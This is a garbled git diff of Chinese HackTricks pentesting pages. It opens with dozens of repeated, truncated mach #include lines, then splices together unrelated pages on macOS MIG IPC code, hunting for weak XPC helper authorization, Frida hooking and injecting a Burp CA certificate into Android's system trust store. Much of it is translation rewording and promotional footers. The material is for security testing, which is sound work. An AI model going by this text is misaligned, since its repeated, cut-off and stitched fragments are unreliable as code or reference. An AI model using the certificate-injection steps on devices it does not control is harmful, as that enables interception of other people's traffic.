#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher
|
||||
#include "myipcServerUser.h"
|
||||
|
||||
#define MACH_PORT_NAME "com.example.myipc"
|
||||
|
||||
kern_return_t myipc_server(mach_port_t server_port);
|
||||
|
||||
#endif /* myipcServer_h */
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -623,36 +197,26 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
#include "myipc.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t bootstrap_port;
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
myipc_msg_t msg;
|
||||
|
||||
// Get the bootstrap port
|
||||
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to get bootstrap port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
char *message = "Hello, server!";
|
||||
char reply[256];
|
||||
|
||||
// Look up the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVER_NAME, &msg.server_port);
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set the message type and data
|
||||
msg.type = MYIPC_MSG_TYPE;
|
||||
msg.data = 42;
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
// Send a message to the server
|
||||
kr = myipc_send_message(server_port, message, reply, sizeof(reply));
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Message sent successfully\n");
|
||||
printf("Received reply: %s\n", reply);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
@ -691,7 +255,7 @@ USERPREFSubtract(port, 40, 2);
|
|||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
先前提到,负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而,通常你不会有二进制文件的符号(没有函数名),所以检查反编译后的代码是很有意思的,因为它们总是非常相似(这个函数的代码与暴露的函数无关):
|
||||
先前提到,负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而,通常你不会有二进制文件的符号(没有函数名),所以了解反编译后的代码是什么样子很有意思,因为它们总是非常相似(这个函数的代码与暴露的函数无关):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server反编译 1" %}
|
||||
|
@ -780,7 +344,7 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// 与前一个版本相同的if else
|
||||
// 与上一个版本相同的if else
|
||||
// 检查地址0x100004040的使用(函数地址数组)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
|
@ -788,7 +352,7 @@ r8 = 0x1;
|
|||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 调用计算的地址,其中应该包含函数
|
||||
// 调用计算出的地址,其中应该包含函数
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -814,10 +378,10 @@ return r0;
|
|||
|
||||
实际上,如果你转到函数**`0x100004000`**,你会找到**`routine_descriptor`**结构体的数组,结构体的第一个元素是函数实现的地址,**结构体占用0x28字节**,所以每0x28字节(从字节0开始)你可以得到8字节,那就是将要调用的**函数的地址**:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以使用[**这个Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取这些数据。
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
|
||||
苹果还提出了另一种方法来验证连接的进程是否具有调用公开的 XPC 方法的**权限**。
|
||||
|
||||
当应用程序需要以**特权用户**的身份执行操作时,通常不会将应用程序作为特权用户运行,而是将 HelperTool 作为 XPC 服务以 root 用户的身份安装,应用程序可以从中调用以执行这些操作。然而,调用服务的应用程序应具有足够的授权。
|
||||
当应用程序需要以**特权用户身份执行操作**时,通常不会将应用程序作为特权用户运行,而是将 HelperTool 作为 XPC 服务以 root 用户身份安装,应用程序可以从中调用以执行这些操作。但是,调用服务的应用程序应具有足够的授权。
|
||||
|
||||
### ShouldAcceptNewConnection 总是 YES
|
||||
|
||||
|
@ -260,13 +260,13 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* 这是最直接的键。如果设置为`false`,表示用户无需提供身份验证即可获得此权限。
|
||||
* 这与下面的两个键之一或指定的用户组合一起使用。
|
||||
* 这与下面的两个键之一结合使用,或者指示用户必须属于的组。
|
||||
2. **'allow-root': 'true'**
|
||||
* 如果用户作为root用户(具有提升的权限)操作,并且此键设置为`true`,则root用户可能无需进一步身份验证即可获得此权限。然而,通常情况下,要达到root用户状态已经需要进行身份验证,所以对于大多数用户来说,这不是一个“无需身份验证”的情况。
|
||||
* 如果用户作为具有提升权限的root用户操作,并且此键设置为`true`,则root用户可能无需进一步身份验证即可获得此权限。然而,通常情况下,要达到root用户状态已经需要进行身份验证,所以对于大多数用户来说,这不是一个“无需身份验证”的情况。
|
||||
3. **'session-owner': 'true'**
|
||||
* 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,则可能绕过其他身份验证。
|
||||
4. **'shared': 'true'**
|
||||
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)组合使用。
|
||||
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)结合使用。
|
||||
|
||||
你可以使用[**这个脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)获取有趣的权限:
|
||||
```bash
|
||||
|
@ -284,9 +284,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
### 检查是否使用EvenBetterAuthorization
|
||||
|
||||
如果你找到了函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用之前提到的授权模式:
|
||||
如果你找到了函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程很可能正在使用之前提到的授权模式:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果这个函数调用了`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,那么它正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
||||
|
||||
|
@ -300,9 +300,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在这种情况下,我们与EvenBetterAuthorizationSample相同,[**查看此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
在这种情况下,我们与EvenBetterAuthorizationSample中的情况相同,[**查看此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
知道所使用协议的名称后,可以使用以下命令**转储其头文件定义**:
|
||||
知道了使用的协议名称,可以使用以下命令**转储其头文件定义**:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -428,7 +428,7 @@ NSLog(@"Finished!");
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -127,15 +127,15 @@ return encrypted_ret;
|
|||
```
|
||||
## 重要
|
||||
|
||||
在本教程中,您使用方法的名称和_.implementation_来挂钩方法。但是,如果有**多个具有相同名称的方法**,您将需要**指定要挂钩的方法**,并指定参数的类型。
|
||||
在本教程中,您使用方法的名称和_.implementation_来挂钩方法。但是,如果有**多个具有相同名称的方法**,您将需要**指定要挂钩的方法**并指定**参数的类型**。
|
||||
|
||||
您可以在[下一个教程](frida-tutorial-2.md)中看到这一点。
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语)。
|
||||
如果您对**黑客职业**感兴趣并想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -144,8 +144,8 @@ return encrypted_ret;
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
|
|
|
@ -14,11 +14,11 @@
|
|||
|
||||
## 在虚拟机上
|
||||
|
||||
首先,你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成这个操作。
|
||||
首先,你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成。
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**以Der格式导出证书**,然后将其转换为**Android**能够**理解的形式**。请注意,**为了在AVD中配置Burp证书**,你需要**使用**`-writable-system`**选项运行该虚拟机**。\
|
||||
**以Der格式导出证书**,然后将其转换为**Android**能够**理解的形式**。请注意,**为了在AVD中配置Burp证书**,你需要**使用**`-writable-system`**选项运行该虚拟机。\
|
||||
例如,你可以这样运行它:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -48,19 +48,19 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
在[**此视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中解释了您需要:
|
||||
|
||||
1. **安装CA证书**:只需将DER Burp证书拖放到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到`安装证书`->`CA证书`
|
||||
1. **安装CA证书**:只需将DER Burp证书拖放到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到“安装证书”->“CA证书”
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 检查证书是否正确存储,转到`受信任的凭据`->`用户`
|
||||
* 检查证书是否正确存储,转到“受信任的凭据”->“用户”
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **使其成为系统信任的证书**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其拖放到手机上,转到手机上的Magics应用程序,转到`模块`部分,点击`从存储安装`,选择`.zip`模块,安装后**重新启动**手机:
|
||||
2. **使其成为系统信任的**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其拖放到手机中,转到手机上的Magics应用程序,转到“模块”部分,点击“从存储安装”,选择`.zip`模块,安装后重新启动手机:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 重新启动后,转到`受信任的凭据`->`系统`,检查Postswigger证书是否存在
|
||||
* 重新启动后,转到“受信任的凭据”->“系统”,检查Postswigger证书是否存在
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -71,10 +71,10 @@ adb reboot #Now, reboot the machine
|
|||
* 到目前为止,系统信任的CA证书位于**`/system/etc/security/cacerts/`**。在标准的AOSP模拟器上,可以使用根访问直接修改这些证书,立即在所有地方生效。
|
||||
* 在Android 14中,系统信任的CA证书通常位于**`/apex/com.android.conscrypt/cacerts`**,而**`/apex`的所有内容都是不可变的**。
|
||||
* 无法将**APEX cacerts路径重新挂载为可写** - 重新挂载会失败。实际上,即使您从根shell中卸载整个路径,应用程序仍然可以正常读取您的证书。
|
||||
* 将tmpfs目录挂载到顶部的替代技术也无效 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空(或任何其他您喜欢的内容),应用程序仍然会看到相同的原始数据。
|
||||
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a),**使用私有传播**,因此在`/apex`路径内对挂载的所有更改在进程之间永远不会共享。
|
||||
* 将tmpfs目录挂载在顶部的替代技术也无法工作 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空(或任何其他您喜欢的内容),应用程序仍然会看到相同的原始数据。
|
||||
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a),**使用私有传播**,所以在`/apex`路径内的挂载的所有更改都不会在进程之间共享。
|
||||
|
||||
这是由启动操作系统的`init`进程完成的,然后启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)(使用从父进程复制的新挂载命名空间,因此包括其**自己的私有`/apex`挂载**),然后依次启动每个应用程序进程,每当在设备上启动应用程序时(每个应用程序进程然后**复制相同的私有`/apex`挂载**)。
|
||||
这是由启动操作系统的`init`进程完成的,然后启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)(使用从父进程复制的新挂载命名空间,因此包括其自己的私有`/apex`挂载),然后依次启动每个应用程序进程,每当在设备上启动应用程序时(每个应用程序进程然后复制相同的私有`/apex`挂载)。
|
||||
|
||||
### 递归重新挂载挂载点
|
||||
|
||||
|
@ -147,7 +147,7 @@ echo "System certificate injected"
|
|||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
* 然后,将您感兴趣的 CA 证书放入此目录中(例如,您可能希望从现有的 `/apex/com.android.conscrypt/cacerts/` CA 证书目录中复制所有默认值),并适当设置权限和 SELinux 标签。
|
||||
